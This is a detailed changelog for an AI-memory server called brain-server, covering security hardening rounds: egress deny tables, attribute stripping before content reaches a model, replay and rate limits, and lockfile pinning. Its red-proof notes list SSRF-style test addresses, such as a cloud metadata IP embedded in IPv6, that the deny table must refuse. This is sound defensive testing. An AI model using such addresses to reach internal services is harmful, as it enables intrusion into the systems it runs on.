Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Changelog — brain-server

All notable changes are documented here. The format is a simplified keep-a-changelog style. Version numbers follow Cargo.toml; “released” means the binary and docs are consistent at that tag.

[1.29.3] — 2026-10-06 — “Hardening”: two audit passes land as shipped behavior

Two full-spectrum remediation passes land as shipped behavior: erasure now covers the approved proposals behind purged memories, hostile attributes die at the read seam, wrong-typed configuration refuses to boot, the production cache is bounded, and the revoke verb can no longer report a success it did not perform. The memory plugin’s tools gain unambiguous brain_* names, the docs tree grows a complete three-tier course, and the release pipeline moves to the public repo: the release tag now runs the full test matrix there, and nothing publishes unless that matrix is green for the tagged commit.

Release notes

Security fixes

  • Client-supplied style= and ping= attributes can no longer carry network fetches through the read seam; a fetch-bearing style attribute drops whole instead of being scheme-checked (54856695).
  • DSAR erasure now also deletes the approved proposals behind the memories it purges, so an erasure certificate can no longer certify an erasure that left plaintext behind.
  • The operator bearer can no longer be “revoked” into a false success: the revoke verb refuses identities it cannot actually kill and names rotation as the remedy (f886b2df).
  • Wrong-typed server configuration refuses to boot — a string where an allowlist belongs or a typo’d enum can no longer silently downgrade the security posture (c25e8910).
  • The recipient cache is bounded with eviction and TTL, phone-number mappings can no longer reach any log lane, group/world-readable config files are refused before reading, and signed webhook clients refuse redirects (b47187e8).
  • The egress deny table now covers IPv4-compatible IPv6 embeddings, and a bind-port typo refuses the boot instead of silently binding a random port (fcace742, 472652bb).

Improvements

  • The egress client cache’s miss path is single-flight: concurrent first calls can no longer each resolve DNS and diverge from the pin map — the first resolution wins and every served client is one the map recorded (a0b72d8).
  • The alert sink verifies message freshness (±5 minutes) and the signal gateway rate-limits outbound sends, closing the replay and flood windows (43533767, f944c7ea).
  • The API auth posture is a function of the bind address: an unauthenticated router is no longer built on a public interface (3715a33e).
  • Markdown reference-style definitions are stripped before content reaches a model or a channel, closing the last auto-fetch image path (54856695).
  • Plugin 0.6.12: every memory tool is namespaced brain_*, ending collisions with other MCP memory servers; channel-captured memories can be excluded from tool results, not only labeled (15f536f6).
  • macOS app packaging refuses to ship a fork-built app pointing at the upstream update feed (a10bebe1).
  • Releases now run their own test matrix: the release tag triggers the full CI suite on the public repo and publication fail-closes unless it is green (5bcaf39f).

Changed

  • Dependencies refreshed across the workspace at current stable, with committed lockfiles pinned and CI refusing a stale lock (1207ab92, 8c55c6fe).
  • Docs: a complete three-tier course (24 lessons), ten new source→docs coverage pages, and an AI-memory FAQ (32d464a1, e845eb94, 44458ab1).

Bug fixes

  • Webhook route matching consults an explicit path list, so a template-versus-concrete path disagreement can no longer exempt or refuse the wrong requests (701a7e1e).
  • Restore no longer silently drops legal holds across a backup/restore cycle (c89e8403).
  • The wire contract passes its own gates again: the duplicated operation id is gone and the regenerated client schema matches (7e339cdb).

Engineering record

Everything since 1.29.2 lands here, in one release. The remediation rounds, in order: R68 “Silence” (three machine checks that under-delivered — the SQL statement counter became structural, the comment stripper became string-aware, the authz prose was made true by code); R69 “Erasure” (the DSAR erasure reaches the approved proposals behind purged memories; additive proposals.promoted_chunk_id, schema 1.32.25 → 1.32.26); R70 “Seams” (the write deadline moves inside its closure, the webhook exemption becomes an explicit list, the egress deny table normalizes IPv4-compatible embeddings, BIND_PORT fails closed); R72 “Truth” (the test-count badge derives from the build and refuses drift); R73 “Receipts” (the audit register stops disagreeing with the code); R74 “Dirty” (a green suite that does not describe the committed tree is not evidence — six suites repaired at committed HEAD); R75 “Greenlight” (the API auth posture becomes a function of the bind address); R76 “Cadence” (the alert sink verifies message freshness, the signal-gateway rate limiter is wired); R77 “Verity” (the revoke verb refuses the identity it cannot kill); R78 “Attrtwo” (the last fetch-capable attribute survivors die at the read seam); R79 “Locks” (the committed lock is the reviewed truth — --locked enforced, presage pinned to a rev); R80 “Gateway” (the bounded twin is THE production cache, PII operands off the log lanes, group/world-readable configs refused, signed clients refuse redirects); R81 “Types” (the plugin validates its own configuration boundary; the exclude posture reaches the tool path). Plus the fork lane (the Sparkle feed gate and the brain_* tool namespace, plugin 0.6.12), a workspace-wide dependency refresh with re-locked lockfiles, and the public-CI release reconciliation below.

Release pipeline: private-repo Actions were disabled on billing grounds (the 2026-10-06 law), so the release tag is now the PUBLIC CI trigger — ci.yml runs the full matrix on the tagged SHA and release.yml fail-closes publication on it; scripts/release.sh witnesses the runs and exits non-zero on a not-green verdict, and its watch cannot claim green from an empty query or a timeout. The public push URL is re-enabled; main is still never pushed to the public repo (tags-only, unchanged).

Local pre-tag gate for this release: cargo fmt --check, cargo clippy --all-targets --features bench -- -D warnings, the full cargo test --features bench suite, cargo metadata --locked (lock freshness), scripts/badges.sh --selfcheck, and scripts/docs-truth.sh. The remaining matrix lanes (feature lanes, engine crates, harness, tool gates, tier smoke, client, shell) run on the public tag matrix and fail this release closed — which is how the first cut of this tag caught two real defects the local macOS gate could not see, both fixed before the re-cut: eight delivery pins plus three neighbours passed only where the developer’s real operator key existed (the attestation fixtures now install their own key directory, so the suite no longer depends on the machine it runs on), and the signal-gateway lane needed protoc on the runner for the presage pin’s post-quantum ratchet build. Later cuts of the same tag caught four more never-ran-lane defects, all fixed in-tree: six integration binaries panicked when the private spine checkout was absent (those pins now ride the two-door rule — real where the sibling exists, a named skip on a public runner), a register pin and its findings table briefly landed split across two commits, the injection-classifier lane self-deadlocked (a non-reentrant lock taken twice, latent since v1.28.71), and the badge-count step’s plain YAML scalar folded its continuations into bash (command not found). The closing gates found two more: the docs-truth/env-truth step (the last never-executed gate in the matrix) needed ripgrep on the runner, and a Linux parity host caught the ump census fixture claiming ENV_LOCK in comments while never taking it — a real cross-test race narrower machines had hidden. This release’s tree also carries the single-flight promotion closing the two open tenth-pass egress findings (a0b72d8), two CodeQL test-surface fixes generated-key and no-secrets-in-assert-messages (e748d760), and the dependabot bumps applied on the development line (codeql-action pair, @lucide/svelte; tauri was already current). Schema 1.32.26 unchanged; no new dependency edges (the root Cargo.lock moves on its own version field only); SBOM regenerated for 1.29.3; test badge re-derived at 3164, the platform-normalized count — the OS-only sandbox families (seven seatbelt tests on macOS, two landlock tests on Linux) are excluded from the derivation in both badges.sh and the CI gate, so the badge measures the same test set on every platform.

Unreleased — fork lane (zero-conflict band)

Only fixes that cannot merge-conflict with openclaw/openclaw upstream (operator instruction). K9-01 (HIGH) and W9-02 closed; plugin bumps to 0.6.12. No upstream file touched in either repo — measured empty fork diffs on every relevant path before the work.

  • K9-01: fork-owned scripts/fork/package-mac-app-gated.sh wraps upstream’s packager — a diverged tree refuses to build without an explicit fork Sparkle feed + key (an explicitly-upstream feed is refused too); clean upstream checkouts pass through. Drilled all four arms.
  • W9-02: all eleven brain tools namespaced brain_* (extension-owned rename; upstream’s memory-core keeps its names). Fork lane measured 151/151 vitest + tsc clean.

Not shipped (real conflict surface, deliberately declined for now): K8-01/K8-03 (upstream-owned hot files; additive seam unproven), K9-02, D9-*, F9-02.

Unreleased — R79 “Locks”

Release notes

The committed lock is the reviewed truth; nothing may move it silently — not a CI runner, not a git branch pointer. Finding closed: S9-01 (ninth pass). No authz change, no route change, no wire change, no schema change (1.32.26 unchanged). The tools’ dependency GRAPHS move by design (that is the fix); no new dependency EDGES appear.

S9-01 — stale locks, silent re-locks, and a branch-pointed git stack

Both tools/ manifests were bumped (commit 0a1d48b9, 2026-10-04) without re-locking, so cargo metadata --locked refused on both workspaces — and every bare cargo invocation (the CI lanes, a local clippy) re-locked silently, reporting green against dependency versions nobody committed.

  • Re-locked + committed, minimal resolution. channel-bridge: clap 4.6.6→4.6.7 (×3 crates), jsonwebtoken 11.0.0→11.1.0, reqwest 0.13.4→0.13.5, tokio 1.53.1→1.53.2, uuid 1.26.0→1.27.0. signal-gateway: the same class plus uuid 1.25.0→1.27.0. cargo audit advisory ID sets are identical old-lock vs new-lock — zero new advisories.
  • presage + presage-store-sqlite pin rev = f74b96e0… (was branch = "main"). Upstream main had moved past the committed stack (newer libsignal-service past bb43e81); under a branch pointer, any re-lock rode the whole libsignal stack forward unreviewed. The pin holds the reviewed stack — the re-lock changed the lock’s presage source LINE and nothing else in the stack. Bumping is now an explicit act: new rev + re-lock + version bump (the package version tracks the libsignal tag) in one reviewed commit. The stack-policy comment in the manifest is rewritten to that posture.
  • Both CI lanes pin resolution: channel-bridge-gate and signal-gateway-gate run clippy and test with --locked. cargo fmt cannot carry the flag (it rejects --locked; it resolves via --no-deps metadata, which is also why staleness probes must use the full form).
  • The verification sweep gains lock-freshness — a full-form cargo metadata --locked lane over every TRACKED lockfile (tracked, not on-disk: fuzz/Cargo.lock is a gitignored local artifact no checkout ever sees). Local-only coverage; CI’s teeth are the --locked flags.
  • Pins in tests/lock_discipline_pins.rs (manifest-vs-lock freshness, CI-lane --locked, git-deps-by-rev), red-proven on five mutants including the renamed-lane and rev≠lock arms. At the pinned rev: signal-gateway 53 passed / 0 failed; channel-bridge 39 passed / 0 failed. The round also fixed a PRE-EXISTING fmt drift in signal-gateway’s rate-limit test file (the lane’s fmt step was red at HEAD before this round touched it).
  • Found at HEAD, pre-existing, fixed in passing: the comment guard (comments_never_reference_versions_plans_audit_ids) was RED on three src/ comments shipped by the two preceding rounds (audit-id labels in src/auth/policy.rs, src/gate.rs, src/handlers/mesh.rs) — neither predecessor claims a full-suite run. Labels dropped, invariant sentences kept verbatim; zero behaviour change.

Not shipped: --locked on the OTHER CI lanes (scoped to the two the register names; the sweep lane covers every tracked lockfile), any presage/libsignal bump (riding main is the defect), S9-02…S9-08/W9-04 (R80), S9-06 (R81), the fork lane, F9-02.

Unreleased — R80 “Gateway”

Release notes

The remedy that already existed in-tree becomes the one production uses, and the edge’s last law-gaps close. Findings closed: S9-02, S9-03, S9-04, S9-05, S9-08 (ninth pass). No authz/route/wire/schema change; no new dependency edges.

  • S9-02: signal-gateway’s bounded recipient cache (cap 4096, oldest-quarter eviction — previously dead code) is now THE production cache; the unbounded inline HashMap and its [CACHE] Mapping / Self ACI INFO log lines are deleted. PII law on the module: no operand rides any log lane. POST /v1/cache/seed is audited at WARN with sha256 digests — loud and PII-lawful.
  • S9-03: config.yaml (carries auth_token) refuses group/world bits at load — the 0600 law the other secret files already enforce.
  • S9-04: BrainClient follows no redirects (Policy::none()), so signed webhook headers never re-send cross-origin (channel-bridge law mirrored).
  • S9-05: valet-relay’s inbound dedup id derives from the envelope’s own platform timestamp (inboundDedupId), not time-of-forward — a retained envelope re-polled later keeps its id.
  • S9-08: the main brain.db, the pre-migration VACUUM INTO backup and its marker join the 0600 family (enforce_private_mode — idempotent heal, warn-and-continue).

Pins: tests/s9_02_cache_wiring.rs (bounded-cache wiring, log-lane PII, redirect law), config 0600 refusal + anti-vacuity, cache resolve laws, relay dedup-id law, bootstrap mode law.

Not shipped: S9-06 + W9-04 (R81), the fork lane, F9-02.

Unreleased — R81 “Types”

Release notes

The plugin validates its own boundary, and the exclude posture means what its name says. Findings closed: S9-06 (was S8-05, re-routed) and W9-04 (ninth pass); carries the fork re-sync to 0.6.11. No authz/route/wire/schema change; no new dependency edges.

  • S9-06: assertFieldTypes — a closed per-field census — runs first in resolveConfig: a string agents (which turned allowlists into substring matching), a string autoRecallTopK, a boolean-typed-as-string — all refuse registration with the field, the expected shape, and the got type. The host may or may not enforce the manifest’s configSchema; the plugin no longer depends on that. Disclosed posture change: unknown untrustedOrigins/captureMode enum values now refuse instead of degrading to default (a typo of “exclude” used to silently switch the posture down to label).
  • W9-04: untrustedOrigins:"exclude" drops channel-captured hits from the memory_recall tool result as well as auto-inject; all-captured results return the no-memories shape (excludedByPosture). Default “label” byte-identical.
  • Fork sync: the extension re-syncs 0.6.10 → 0.6.11 (scripts/sync-plugin.sh, byte-parity checked); the fork’s vitest lane is where the plugin’s pins execute (no runner exists in this repo).

Not shipped: the fork-lane remediation decisions (K9-, W9-02, K8-), F9-02.

Unreleased — R76 “Cadence”

Release notes

The two messaging edges never asked when or how often. valet-relay verified who signed an alert (HMAC, constant-time) but never asked whether the signature was still current, so a captured envelope replayed forever. signal-gateway owned a rate limiter it never called, so POST /v2/send — an outbound primitive driving the live identity’s websocket — had no request-rate control at all. One fix per edge, both red-first, both now wired to CI that actually runs them. Findings closed: S8-02, S8-04. No authz change; no route change; schema 1.32.26 unchanged; zero new dependency edges.

S8-02 — freshness at the alert sink

freshTimestamp (tools/valet-relay/relay.js) admits a webhook-timestamp only within ±300 s, and is now the second gate in verifyAlert. The constant is a mirrored law, not a chosen knob: the spec’s reference TOLERANCE_IN_SECONDS = 5 * 60, and the kernel’s own WEBHOOK_REPLAY_SECS (src/config.rs:892-896) plus WEBHOOK_TS_FUTURE_SKEW_SECS (src/webhook.rs:41-45), which enqueue_ts enforces together in one if (src/webhook.rs:267-275). No env var — this repo’s env-truth gate treats an undocumented knob as a finding.

The header parses two ways, and that is the fix rather than a nicety. The Standard Webhooks spec defines epoch seconds; the kernel’s alert sink actually sends chrono::Utc::now().to_rfc3339() (src/alert.rs:510). An epoch-only parser NaNs on every genuine envelope — a green suite over a fix that rejects all legitimate traffic. So: all-digits → epoch, otherwise RFC3339.

Id-dedup is DECLINED BY DECISION. The producer sets ts once and retries up to three times with the same delivery_id (src/alert.rs:508-535), so a receiver-side id-dedup would trade a duplicate alert for a silently lost one whenever the response was lost after the forward. The spec’s idempotency-key advice governs a receiver’s processing; this relay’s processing is a Signal send, and that must not be deduped. the same id and ts is admitted twice pins the decision so a future reader cannot “helpfully” add a Set.

18 clock-injected tests in tools/valet-relay/relay.test.js (zero dependencies, node --test), including a real end-to-end run: a loopback sink stands in for signal-cli, the relay is spawned as a child process, a fresh envelope must reach /v2/send and a replayed one must get 401 with no forward. All 18 fail against the unfixed relay; with only the freshness line mutated away, 7 fail while the MAC guarantees still pass.

CI: a new valet-relay-gate job runs node --test tools/valet-relay/ *.test.js on every push. The relay’s tests previously ran in no workflow — the other half of this finding. Testability required wrapping the bind, the poll timer and the self-test in require.main === module; behaviour when run as a process is unchanged.

S8-04 — the limiter, wired rather than deleted

The finding offered a dilemma — call the limiter from the router, or delete it. Both halves were false. It is now on the request path: apply_rate_limit (tools/signal-gateway/src/lib.rs) is a from_fn layer closing over a cloned RateLimiter (an Arc inside, so all instances share one budget), generic over router state — no AppState change, no with_state coupling.

The layering is the substance, not a detail. main.rs wraps the finished router, after .with_state(...) and after the auth match, so the limit is outermost. In the tokenless loopback posture there is no auth layer at all, so a layer placed inside create_router_with_auth would sit inside only one of its two arms and leave the unauthenticated flood unbounded exactly where the operator chose the loosest posture. A pinned e2e test proves the order over a real socket: 401s inside the budget, 429 outside it. Refusal is a bare 429 with RETRY-AFTER: 60 and an empty body — nothing request-derived in the reply or the single debug! line.

Global keying; per-IP declined by decision. The server is axum::serve( listener, app) with no ConnectInfo, and under this crate’s posture every client is 127.0.0.1 anyway, so per-IP discrimination would read as control while being an illusion; behind a proxy it collapses to one address regardless. The limiter stays generic over its key, so per-IP is a call-site change.

The module moved and lost its alibi. mod ratelimit; is gone from main.rs; the limiter is pub mod ratelimit in the lib target, so the binary and the integration tests share one definition rather than the binary compiling a private copy. The blanket #![allow(dead_code)] is gone — with the honest caveat that this does not make rustc police deadness (once pub in a lib target, every pub item is externally reachable). The structural pin is what holds the line.

The clock seam is the real find. admit_at(key, now) lets the window drain, which the old single Instant::now() call site made unrepresentable: the old suite could prove a budget fills up and never that it empties. The constants (100 / 60) are now named in the lib so prod and tests cannot drift — the values create_rate_limiter() hardcoded before, named, not chosen. remaining and reset were dropped: nothing consumed them, and an admin reset for an in-memory limiter with no admin endpoint is speculative API.

19 tests in tools/signal-gateway/tests/s8_04_rate_limit_wired.rs — behavioural, end-to-end over a real loopback socket, and structural. Red-proof: deleting the apply_rate_limit(app, line (the exact defect) fails 2 tests; making the layer never refuse fails 5. The e2e client is a hand-rolled TcpStream HTTP/1.1 GET rather than reqwest: reqwest 0.13 resolves rustls-no-provider, so Client::new() panics unless a rustls crypto provider is installed, which needs rustls as a direct dependency — a new dependency edge, refused.

Residuals, stated not absorbed. A burst of 100 still reaches Signal; the SSE long-poll on /api/v1/events draws from the same budget as /v2/send; max_sends_per_second in config.yaml is a concurrency cap (5 in-flight), not a rate limit — recorded, not renamed, since renaming a config key is a breaking config-surface change; 100/60 are not operator-tunable; and a within-window replay at the relay still fires once more (bounded: 5 minutes).

Unreleased — R75 “Greenlight”

Release notes

The tree main actually ships must pass the gates that guard it. main was red at R74’s tip on two independent jobs plus the badge drift gate — not because anything was mid-edit, but because the committed tree had carried a defect that a green local run had been hiding. Theme: a shippable tree, not an edited one. Findings closed: S8-01; registered: S8-02, S8-04. No authz change; schema 1.32.26 unchanged.

Two red jobs, and they were unrelated to each other

(1) openapi.yaml carried a duplicate operationId at HEAD. verifyClaim was bound twice — :1525 on /verify and :9163 on /workflow/claims/{id}/verify — and shell/tests/registry-contract.test.ts hard-fails on Redocly’s operation-operationId-unique rule (“Every operation must have a unique operationId”). Verified at the committed HEAD with git show HEAD:openapi.yaml, not merely in the working tree.

(2) The shell cmp gate exited 1, because shell/src/lib/api/schema.d.ts was stale against the spec. Same root cause as (1): the wire contract moved and the generated artifact and the spec were not moved with it.

(3) The badge drift gate was red at 3158 against a derived 3160. The committed README carried 3158 tests passed; the derivation said 3160.

The archaeology, and the prompt that lied about it

docs/EXECUTION_PROMPT_R70_Seams.md:323-325 states the duplicate-operationId defect was “already fixed in R69’s follow-up (verifyClaim → verifyClaimGate)” and instructs a reader who finds it still duplicated to assume “you are on a stale tree.”

It was never committed. git log -S'verifyClaimGate' -- openapi.yaml returns nothing — zero commits, ever. The prompt asserted a fix to a defect that was still live three releases later, and would have sent the next executor to re-verify their own checkout instead of fixing the file. The rename exists only in the working tree until R75.

S8-01, and the half of it the finding had right

The bind guard and auth guard are now one decision: resolve_api_auth (tools/signal-gateway/src/lib.rs:42) makes the credential a function of the address, so Ok(None) — unauthenticated serving — is reachable only on loopback. Ten behavioural tests in tools/signal-gateway/tests/s8_01_bind_coupled_auth.rs drive the production function, and a new signal-gateway-gate CI job runs them. That job exists because the crate’s tests previously ran in no workflow at all — which is precisely how “a path or import refactor could drop one without failing any test” stayed true.

Spire at ship — and the caveat that outranks it

The complete verification suite has now run and everything is green, but the figures are recorded with their sources, because a number nobody diffed against a measurement is the exact defect this round exists to remove. No count here is hand-typed. The README badge is machine-derived by scripts/badges.sh --verify-count (exit 0, OK README test-count badge matches the build (3160)), and that command — not this paragraph — is the authority for it.

cargo test --features bench → exit 0, 3 150 passed / 0 failed / 3 ignored across 48 result lines. That and the badge’s 3 160 are not a disagreement: the badge derives over the wider bench,migrate lane, so the two count different sets. cargo fmt --all -- --check exit 0; cargo clippy --all-targets --features bench -- -D warnings exit 0; cargo test --all-targets (default features) exit 0. crates/, steward-harness, channel-bridge (39 passed) and signal-gateway (35 passed = 5 lib + 20 pre-existing + 10 new) all exit 0. All seven feature lanes clippy-clean (compliance-pack, multivec, injection-classifier, neural-embed, loom, rerank-tier, otel). The spire floors printed exactly: main.rs 124≤300 · region absent · main routes 0=0 · router routes 258≥255 · crate tests 2958≥2758 · coverage rows 217≥214 · authz rows 203≥200.

Scripted gates: badges.sh --selfcheck exit 0; env-truth.sh exit 0; docs-truth.sh exit 0 with LOW=17 (pre-existing, unmoved) and 0 HIGH / 0 MED; check-doc-links.py exit 0 (405 links resolve); lipstyk-gate.sh exit 0; cargo audit --file Cargo.lock exit 0 (514 deps, 0 vulnerabilities). Shell: the openapi-typescript regeneration + cmp exit 0 with 0 bytes differ — the gate R75 was opened to fix; pnpm test 82 tests / 18 files with drift-gate.test.ts and registry-contract.test.ts both PASS; pnpm check 0 errors; tsc --noEmit clean; pnpm lint clean; pnpm build ok with CSP injected and no 'unsafe-inline'; pnpm audit --prod --audit-level high reports no known vulnerabilities.

Two lanes were NOT run, and nothing here should be read as covering them. client-gate was not run — client/ is untouched by this diff, and AGENTS.md scopes that lane to client changes. Shell E2E (pnpm test:e2e) was not run — it needs a Tauri build this environment does not provide. Both are named absences, not passes.

The caveat that outranks every green above: these were measured over the WORKING TREE, not over committed HEAD. Per R74’s own lesson, a green number measured over a dirty tree is not a property of HEAD — and this tree carries exactly the uncommitted wire and CI work this round produces. So this section records what was measured; it does not claim main is green. That claim belongs to the commit, and must be re-derived at the tagged SHA with scripts/badges.sh --verify-count.

Named residual — two stale lockfiles (PRE-EXISTING, not fixed here)

tools/channel-bridge/Cargo.lock and tools/signal-gateway/Cargo.lock are stale against their own committed Cargo.toml manifests. Measured, not inferred: channel-bridge locks tokio 1.53.1 against a manifest asking 1.53.2, clap 4.6.6 vs 4.6.7, reqwest 0.13.4 vs 0.13.5, uuid 1.26.0 vs 1.27.0, jsonwebtoken 11.0.0 vs 11.1.0; signal-gateway locks tokio 1.53.1, clap 4.6.6, reqwest 0.13.4, uuid 1.25.0 vs 1.27.0.

The consequence is measured too: cargo metadata --locked fails on both (exit 101, cannot update the lock file … because --locked was passed). And because both CI gates — channel-bridge-gate, and this round’s new signal-gateway-gate — invoke cargo without --locked, the runner silently regenerates the lockfile and reports green against versions that are not the committed tree. Reproducibility is lost with no red signal, and the new job inherits the property.

This is a pre-existing property of HEAD, not something this round introduced: no Cargo.toml and no Cargo.lock appears anywhere in this round’s diff. Deliberately NOT fixed here — re-locking is a dependency change this round avoided on purpose, and the remedy is a decision, not a patch: either re-lock and commit, or add --locked and let CI fail loudly until someone re-locks. Named residual.

What did NOT ship. Not S8-02 (valet-relay’s /alert sink verifies the HMAC correctly and never checks that ts is recent) and not S8-04 (signal-gateway/src/ratelimit.rs is a dead module, so POST /v2/send has no request-rate control) — both are registered in AUDIT.md, both unfixed. Not S8-05, which is re-routed off R71 because the defective file is in this repo (plugin/src/config.ts:234-235). Not the K8-/D8-01 fork rows (R71, a different repository) or the L8- external acts. No new dependency edge beyond the signal-gateway crate’s own, and no migration.


Unreleased — R74 “Dirty”

Release notes

A green suite that does not describe the committed tree is not evidence of anything. R74 shipped two commits (15964613, 50406b29) and no round notes at all. What they found is recorded here for the first time: six suites failed at committed HEAD, and the reason matters more than the fix — every green figure reported for R69, R70, R72 and R73 was measured over a dirty working tree. No authz change; schema 1.32.26 unchanged.

Two distinct root causes, not one

CLASS A — schema-version drift (5 suites). src/ carries 1.32.26 (R69’s proposals.promoted_chunk_id migration, src/migration.rs:3188), while five cross-round re-pins still asserted 1.32.25. Every repair is a pure literal re-pin — same assert, same operator, same operand shape — across tests/agreement_path_pins.rs, tests/clean_cycle_pins.rs, tests/per_domain_axis_pins.rs, tests/rbac_evaluation_pins.rs and tests/version_axis_pins.rs. No assertion was softened and no test was removed. The refuse-newer probe moved with the ceiling rather than being left stale: src/storage_layout.rs:786-787 probes 1.32.27 against a 1.32.26 ceiling, strictly greater, so it still exercises Greater rather than silently testing Equal — the exact failure mode its own message names.

CLASS B — a self-flagging pin (1 suite, unrelated to the schema). tests/no_engagement_name.rs scans git-TRACKED files, so it always flagged itself, on the two NAMES literals it must hold to police the vocabulary. That made the control permanently red — and worse, trained everyone to read it as pre-existing noise instead of a failure.

The second commit: a tautology, twice over

The exemption added by the first commit carried an anti-vacuity check to prove it was not a blanket pass. It could not fail.

#![allow(unused)]
fn main() {
NAMES.iter().all(|n| own.contains(n))
}

is x ∈ S with x drawn from S: own is this file and NAMES is built from literals in it, so the assertion holds for every possible value of NAMES. Proven by the decisive mutation — replacing the whole vocabulary with a token occurring nowhere in the tree left the pin fully green, policing nothing. A first rewrite failed identically: the shared matcher finds the literals on the const NAMES declaration line, so the declaration satisfied the check meant to police the declaration. What is worth checking is a use, not a declaration; the arm now requires an occurrence elsewhere in the file.

The same commit fixed a latent hang: occurrences() looped forever on an empty name, because str::find("") returns Some(0) and end == start. Unreachable behind the hand-written literal, but a function whose contract is “return the occurrences” must not be able to hang.

What did NOT ship

Not the wire change — openapi.yaml (verifyClaim → verifyClaimGate) and the regenerated shell/src/lib/api/schema.d.ts were explicitly deferred, because they are a wire-contract change and need their own decision. That deferral is what made the tree red at R74’s tip and became R75. No schema change, no new dependency edge.


Unreleased — R70 “Seams”

Release notes

The cheap enforcement wins: six seams where the machine was right for the wrong reason, or right by luck. Six audit findings, one theme — enforcement, not behaviour. Each becomes a machine-enforced invariant rather than a convention a future author can silently violate. No runtime authorization change: git diff src/authz/ is empty, no new route, no wire field, no new dependency edge, no schema change (1.32.26 unchanged).

Every §1 premise was re-measured, and two of the round’s own claims were wrong. All six §1 figures matched (raw needle 2 957, stripped 2 941, lib 2 319, 52 handler files, schema 1.32.26). The F8-03 VACUUM half is confirmed already closed by R68 (domains.rs:266 is if let Err(e) = …), so it was not re-fixed. But two other premises did not survive measurement:

  • The prompt’s suggested reuse of spire_inventory::strip_rust_comments is IMPOSSIBLE and was not attempted. It is pub fn, but spire_inventory is #[cfg(test)] pub mod (src/lib.rs:346), so it does not exist in the lib an integration test links against — the cfg is the blocker, not visibility. The F8-04 pin therefore lives in tests/main_suite.rs and reuses the two existing test-side house lexers (strip_line_comments / strip_cfg_test_regions). No second src/ stripper was written; dup_guard is untouched.
  • F8-09’s reachability claim was wrong in the direction that matters. The note predicted the row-mapping arm unreachable because TEXT affinity coerces every storage class. Measured against SQLite: true for INTEGER and REAL, false for BLOB. A BLOB roster_json IS reachable, so the honest behavioural pin (option 1) was available after all rather than the shape pin option 2. Had the premise been taken at face value — or the note’s suggested 42/1.5 fixtures used — the pin would have been green before the fix while proving the arm that was not changed. The pin asserts typeof(roster_json) == 'blob' as a precondition so it fails loudly if that ever stops discriminating.

Four findings shipped as specified; two had their scope widened by what the fixes actually required, and both widenings are named below rather than absorbed.

(1) The log seam is now unskippable (F8-04). sanitize_log_value had one production call site and fourteen tests, none asserting any call site uses it — a seam nothing forces through is a convention. The guard found eight request/config-derived sites before any was fixed: recall.rs {domain}, domains.rs {name}, webhooks.rs ×2 path = %…, mod.rs error = %message, observe.rs {url}, ump_ops.rs owner/declared. Three of those five files were not named by the audit — domains.rs in particular was found by the guard, not by the brief. The fix is a LogValue newtype beside the seam whose only constructor is sanitize_log_value: no From<&str>, no From<String>, no Deref, no Default, private field, each pinned because any one re-opens the hole. The scan handles both value-carrying syntaxes — {ident} placeholders AND %ident/?ident structured fields — because the webhooks.rs offender is the field form and a placeholder-only scan would have passed it; multi-line invocations are scanned whole. The remaining 31 sites are exempt by category, each justified in code; the integer-id exemption is a closed list, not a shape, because a shape rule would have exempted exactly the request-derived names.

(2) The webhook exemption is an explicit list (F8-06). path.starts_with("/webhooks/") exempted whatever landed under /webhooks/, including any future route — not a live hole (all six verify and fail closed) and precisely an unenforced convention. Replaced with WEBHOOK_PATHS, naming all six. THE REGRESSION THIS NEARLY SHIPPED: the three is_public_path call sites disagree — auth.rs:129 passes axum’s MatchedPath (the template) while :277/:549 pass req.uri().path() (the concrete path). A contains() on the template list would have exempted the template and refused every real request, silently disabling all six webhooks. is_webhook_path therefore matches segment-wise. The pin caught two fail-open bugs in the first draft: split('/') on {kind} never equals the literal "{kind}", and a stale list entry would keep exempting a path nothing serves (so both directions are checked against the router, never the list against itself).

(3) The write deadline moves inside the closure (F8-03, the surviving half). TimeoutLayer drops the handler future at 30 s, but a spawn_blocking closure is not cancellable — it runs to completion and commits, so the client sees a 408 while the row lands anyway and a retry double-commits. A check outside the closure is decorative: the work is already queued and nothing can call it back. src/service/write_deadline.rs reads the clock at the moment work starts and refuses before any statement runs, on DELETE /domains/{name} — the gate is the closure’s first statement, before pool.get(), so a refusal provably took no connection and opened no transaction. The 30 s is now config::REQUEST_TIMEOUT_SECS with WRITE_DEADLINE_MARGIN_SECS held back, so the handler and middleware cannot drift (two literals in two files is how both look right and are wrong at runtime).

(4) BIND_PORT fails closed (F8-10). .parse().unwrap_or(8765) meant a typo bound the production port with no diagnostic. Reuses the WRITE_POSTURE shape (absent = default, only present-and-invalid refuses; empty = unset), so no deployment changes behaviour. The values were measured, not assumed, with a throwaway probe since deleted: abc/65536/-1/"" all fail to parse, and 0 parses successfully — so a parse-only fix would not have closed the finding, since port 0 binds a kernel-chosen ephemeral port that changes every restart. It is refused separately, naming the hazard rather than restating the range. 876 is deliberately not a refusal: it is a valid u16 and a legitimate choice, and refusing every “surprising” number would invent policy the audit did not ask for.

(5) The egress deny table, and the ::/96 normalisation (F8-07). Two missing IANA v4 rows (224.0.0.0/4, 192.88.99.0/24) — the multicast row’s v6 twin ff00::/8 was already present, and 240/4 was present while 224/4 was not, so the hole sat in the middle of the table’s own numbering. The harder half, verified rather than assumed: to_ipv4_mapped() unwraps only ::ffff:0:0/96 (confirmed against the std source — it matches bytes 10..12 == 0xff,0xff), not the IPv4-compatible ::/96. So ::a.b.c.d reached ipv6_denied unnormalised and IPV6_DENY has no ::/96 row: ::169.254.169.254 was ADMITTED, as were ::10.0.0.1 and ::192.168.1.77 — the v4 table was fully present and simply never consulted. Normalised, not “add a row”, and the two are different guarantees: a row refuses the ::/96 block, while normalisation subjects the embedded v4 to the whole v4 table, so a row added tomorrow is inherited free and the refusal names the real reason. :: and ::1 are deliberately not embeddings.

(6) The roster sweep stops dropping rows (F8-09). .flatten() discarded every row whose r.get() failed, so an unreadable cell was silently skipped and the DSAR certified a crew_rows count that excluded it — while the adjacent corrupt-JSON arm correctly failed closed. Two failure shapes, two answers; that inconsistency is the finding. Now maps to DsarError::Database like its neighbour.

Red-proofs — all eight recorded

Every pin was proven able to fail, per §3. Two of these caught real defects in this round’s own first draft, which is the point of writing them:

#PlantedCaught
1revert recall.rs to the raw interpolationguard fires naming recall.rs:575
2plant impl From<&str> for LogValueconstructor pin fires
3register /webhooks/noverify in the real routerdeclaration pin fires
4revert the ::/96 normalisation::169.254.169.254 not refused
5delete the two v4 rows224.0.0.1 not refused
